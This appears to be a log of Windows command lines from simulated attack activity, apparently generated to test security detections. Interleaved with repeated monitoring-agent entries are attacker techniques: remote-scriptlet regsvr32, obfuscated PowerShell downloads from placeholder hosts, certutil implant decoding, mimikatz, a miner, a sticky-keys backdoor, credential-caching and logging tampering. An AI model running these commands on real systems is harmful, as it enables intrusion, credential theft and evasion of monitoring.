Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfigura... GetInventory\\n\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.... \\\"C:\\\\Program\\nFiles\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"C:\\\\Windows\\\\system32\\\\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}\\n\",\"cmd.exe /c c:\\\\Diagnostics\\\\WindowsSimulateDetections.bat\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"cmd /c echo Any questions about the commands executed\\n\",\"cmd /c echo timb@microsoft.com; romead@microsoft.com;\\nianhelle@microsoft.com; marcook@microsoft.com; dotanp@microsoft.com;\\n\",\"net user adm1nistrator Bob_testing /add\",\"C:\\\\Windows\\\\system32\\\\net1 user adm1nistrator Bob_testing\\n\",\"\",\"C:\\\\Windows\\\\system32\\\\net1 share TestShare=c:\\\\testshare\\n\",\"dism /online /enable-feature /featurename:File-Services\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"net use q: \\\\\\\\MSTICAlertsWin1\\\\TestShare Bob_testing /User:adm1nistrator\\n\",\"C:\\\\Windows\\\\TEMP\\\\CC563BBE-DE32-44D3-8E35-F3FC78E72E... {D57BA872-53C0-424D-80AE-E49112D1CF04}\\n\",\"C:\\\\Windows\\\\servicing\\\\TrustedInstaller.exe\",\"C:\\\\Windows\\\\winsxs\\\\amd64_microsoft-windows-servicin... -Embedding\\n\",\"net use q: /delete\",\"net share TestShare /delete\",\"C:\\\\Windows\\\\system32\\\\net1 share TestShare /delete\",\"net user adm1nistrator /delete\",\"C:\\\\Windows\\\\system32\\\\net1 user adm1nistrator /delete\\n\",\".\\\\regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll\\n\",\"C:\\\\Windows\\\\system32\\\\svchost.exe -k wsappx\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\" \",\".\\\\suchost.exe -a cryptonight -o bcn -u bond007.01 -p\\n\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\" \",\"cmd /c \\\"echo TVqQAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAA >>\\n\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\" \",\"cmd /c \\\"echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> delme.b64\\\"\\n\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\" \",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\" \",\".\\\\powershell -command {(n`EW-obJ`E`cT\\n\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\" \",\".\\\\powershell.exe -c \\\"$a = 'Download'+'String'+\\\"(('ht'+'tp://paste'+\\n'bin/'+'raw/'+'pqCwEm17'))\\\";$b = '(New-Object' + ' Net.WebClient)';'$b.$a'\\n\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\" \",\".\\\\powershell -c {IEX (New-Object Net.WebClient).DownloadString(('ht'+(\\\"{2}{0}{1}\\\"-f\\n\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\" \",\"cmd /c \\\".\\\\pOWErS^H^ElL^.eX^e^ -^ExEc^Ut^IoNpOliCy BYpa^sS\\ni^mPOr^T-^M^oDuLE biTsTr^ANSFe^R;^S^tar^t-bITSTRanS^fER\\n-^SOURCE^ 'http://somedomain/best-kitten-names-1.jpg'\\n^-d^EStIN^At^IOn\\n\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\" \",\"cmd /c \\\".\\\\n^e^t u^se^r\\\"\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\" \",\".\\\\powershell -enc\\n\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\" \",\"cmd /c \\\"echo # aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa >> blah.ps1\\\"\\n\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\" \",\"cmd /c \\\"echo # aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa >> blah.ps1\\\"\\n\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\" \",\"certutil -decode delme.b64 implant.exe\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\" \",\"implant.exe k111\",\"implant.exe 81ed03caf6901e444c72ac67d192fb9c\",\"implant.exe -b -t -m\",\"cmd /c \\\"echo Invoke-Expression Get-Process; Invoke-WebRequest\\n\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\" \",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\" \",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\" \",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\" \",\".\\\\powershell -Noninteractive -Noprofile -Command \\\"Invoke-Expression\\nGet-Process; Invoke-WebRequest -Uri http://badguyserver/pwnme\\\"\\n\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\" \",\".\\\\powershell Invoke-Shellcode.ps1\",\"C:\\\\Windows\\\\system32\\\\sppsvc.exe\",\"C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe -Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\" \",\".\\\\powershell Invoke-ReverseDnsLookup.ps1\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\" \",\".\\\\powershell -command \\\"(New-Object Net.WebClient).DownloadString(('ht'+'tp://pasteb'\\n\",\"net localgroup Administrators\",\"\",\"whoami\",\"hostname\",\"netstat -an\",\"net user Bob1 /domain\",\"C:\\\\Windows\\\\system32\\\\net1 user Bob1 /domain\",\"net user BobX /domain\",\"C:\\\\Windows\\\\system32\\\\net1 user BobX /domain\",\"net group \\\"Domain Admins\\\" /domain\",\"C:\\\\Windows\\\\system32\\\\net1 group \\\"Domain Admins\\\" /domain\\n\",\".\\\\rUnDlL32 /C ShEll32Control_RanDLL.dll\",\".\\\\reg query add mscfile\\\\\\\\\\\\\\\\open\",\".\\\\reg add Image File Execution Options sethc.exe\",\".\\\\ftp -s:C:\\\\RECYCLER\\\\xxppyy.exe\",\".\\\\dubrute.exe\",\".\\\\nlbrute.exe\",\".\\\\reg add \\\"HKLM\\\\system\\\\CurrentControlSet\\\\Control\\\\Terminal\\nServer\\\" /v \\\"fDenyTSConnections\\\" /t REG_DWORD /d 0x1\\n\",\".\\\\reg add \\\"HKLM\\\\system\\\\CurrentControlSet\\\\Control\\\\Terminal\\nServer\\\" /v \\\"fDenyTSConnections\\\" /t REG_DWORD /d 0x0\\n\",\"net use v: \\\\\\\\tsclient\\\\c\",\"net v: /delete\",\"C:\\\\Windows\\\\system32\\\\net1 v: /delete\",\"cmd /c C:\\\\Windows\\\\System32\\\\mshta.exe\\nvbscript:CreateObject(\\\"Wscript.Shell\\\").Run(\\\".\\\\powe... -c\\n\\\"\\\"$x=$((gp HKLM:Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\nCertificate).Certificate);.\\\\powershell -E $y\\\"\\\"\\\",0,True)(window.close)\\n\",\".\\\\netsh advfirewall firewall add rule name=RbtGskQ action=allow\\n\",\".\\\\reg add\\nHKLM\\\\KEY_LOCAL_MACHINE\\\\...securityproviders\\\\wdiges... uselogoncredential\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"c:\\\\Windows\\\\System32\\\\cmd.exe /c net user\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"cmd /c c:\\\\Diagnostics\\\\UserTmp\\\\scrsave.scr\\\"\",\"c:\\\\Diagnostics\\\\UserTmp\\\\svchost.exe \",\"c:\\\\Diagnostics\\\\UserTmp\\\\smss.exe \",\"c:\\\\Windows\\\\System32\\\\svchost.exe -k malicious\",\"cmd.exe /c echo createobject\\\"msxml2.xmlhttp\\\") \",\"ASC_Alerttest_662jfi039n.exe -foo\",\".\\\\powershell.exe -command\\n\",\"netsh start capture=yes IPv4.Address=1.2.3.4\\n\",\".\\\\wuauclt.exe /C \\\"c:\\\\windows\\\\softwaredistribution\\\\cscript.exe\\\"\\n\",\"c:\\\\windows\\\\softwaredistribution\\\\cscript.exe\",\"C:\\\\Windows\\\\system32\\\\net1\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfigura... GetInventory\\n\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.... \\\"C:\\\\Program\\nFiles\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfigura... GetInventory\\n\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.... \\\"C:\\\\Program\\nFiles\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\\n\",\".\\\\lsass.exe /C \\\"c:\\\\windows\\\\softwaredistribution\\\\cscript.exe\\\"\\n\",\"c:\\\\windows\\\\softwaredistribution\\\\cscript.exe\",\"C:\\\\Windows\\\\system32\\\\net1\",\"cmd /c \\\"powershell wscript.shell used to download a\\n\",\"cacls.exe c:\\\\windows\\\\system32\\\\wscript.exe /e /t /g everyone:f\\n\",\"cmd /c \\\"cd /d\\n\\\"C:\\\\inetpub\\\\wwwroot\\\"&c:\\\\windows\\\\system32\\\\inetsrv\\\\a... set\\nconfig \\\"Default Web Site/\\\" /section:httplogging /dontLog:true&echo\\n\",\"c:\\\\Diagnostics\\\\UserTmp\\\\2840.exe \",\"c:\\\\Diagnostics\\\\UserTmp\\\\a_keygen.exe \",\"cmd /c echo \\\" SYSTEMINFO && SYSTEMINFO && DEL \\\"\",\"c:\\\\Diagnostics\\\\UserTmp\\\\bittorrent.exe \",\"c:\\\\Diagnostics\\\\UserTmp\\\\netsh.exe firewall set opmode\\n\",\"cmd /c echo rundll32.exe perfc.dat\",\"c:\\\\Diagnostics\\\\UserTmp\\\\ransomware.exe @ abc.com abc.wallet\\n\",\"cmd /c echo /e:vbscript.encode /b\",\"pcalua.exe -a \\\\\\\\server\\\\payload.dll\",\"findstr /si password sysvol *.txt\",\"odbcconf.exe /S /A {REGSVR\\n\",\"odbcconf.exe /f my.rsp\\u00e1\\u00e1\",\"sqldumper.exe 464 0 0x0110:40\",\"mt.exe port\",\"mt.exe smb\",\"hd.exe -pslist\",\"hd.exe -enum\",\"netsh.exe PortOpenning\",\"certutil -urlcache -split -f http://127.0.0.1/ \",\".\\\\reg add \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Svchost\\\\MyNastySvcHostConfig\\\"\\n\",\".\\\\reg delete \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Svchost\\\\MyNastySvcHostConfig\\\"\\n\",\"sc create MSTICTestService\\nbinPath=C:\\\\Users\\\\MSTICA~1\\\\AppData\\\\Local\\\\Temp\\\\hd.ex... DisplayName=\\\"Test\\n\",\"sc delete MSTICTestService\",\"C:\\\\Windows\\\\system32\\\\wermgr.exe -upload\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"cmd /c \\\"echo blahtest > \\\\\\\\.\\\\pipe\\\\blahtest\\\"\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\" \",\".\\\\reg.exe add \\\"hkcu\\\\console\\\" /v windowposition /t reg_dword\\n\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\" \",\"c:\\\\windows\\\\fonts\\\\csrss.exe\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\" \",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\" \",\"C:\\\\Windows\\\\System32\\\\svchost.exe -k WerSvcGroup\",\"C:\\\\Windows\\\\system32\\\\WerFault.exe -u -p 6060 -s 472\",\"c:\\\\windows\\\\fonts\\\\conhost.exe\",\".\\\\mimikatz.exe\",\".\\\\rundll32.exe /C c:\\\\windows\\\\fonts\\\\conhost.exe\",\"c:\\\\windows\\\\fonts\\\\conhost.exe\",\".\\\\regsvr32 /u /s c:\\\\windows\\\\fonts\\\\csrss.exe\",\"tasklist\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfigura... GetInventory\\n\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.... \\\"C:\\\\Program\\nFiles\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfigura... GetInventory\\n\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.... \\\"C:\\\\Program\\nFiles\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfigura... GetInventory\\n\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.... \\\"C:\\\\Program\\nFiles\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfigura... GetInventory\\n\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.... \\\"C:\\\\Program\\nFiles\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\\n\",\"C:\\\\Windows\\\\system32\\\\MusNotification.exe Display\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"CollectGuestLogs.exe\\\" -Mode:ga\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfigura... GetInventory\\n\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.... \\\"C:\\\\Program\\nFiles\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfigura... GetInventory\\n\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.... \\\"C:\\\\Program\\nFiles\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"C:\\\\Program Files (x86)\\\\Google\\\\Update\\\\GoogleUpdate.exe\\\"\\n\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfigura... GetInventory\\n\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.... \\\"C:\\\\Program\\nFiles\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"C:\\\\Program Files (x86)\\\\Google\\\\Update\\\\GoogleUpdate.exe\\\"\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfigura... GetInventory\\n\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.... \\\"C:\\\\Program\\nFiles\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"C:\\\\Windows\\\\system32\\\\MusNotification.exe Display\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfigura... GetInventory\\n\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.... \\\"C:\\\\Program\\nFiles\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfigura... GetInventory\\n\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.... \\\"C:\\\\Program\\nFiles\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"taskhostw.exe SYSTEM\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfigura... GetInventory\\n\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.... \\\"C:\\\\Program\\nFiles\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfigura... GetInventory\\n\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.... \\\"C:\\\\Program\\nFiles\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"cmd\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfigura... GetInventory\\n\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.... \\\"C:\\\\Program\\nFiles\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfigura... GetInventory\\n\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.... \\\"C:\\\\Program\\nFiles\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfigura... GetInventory\\n\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.... \\\"C:\\\\Program\\nFiles\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo 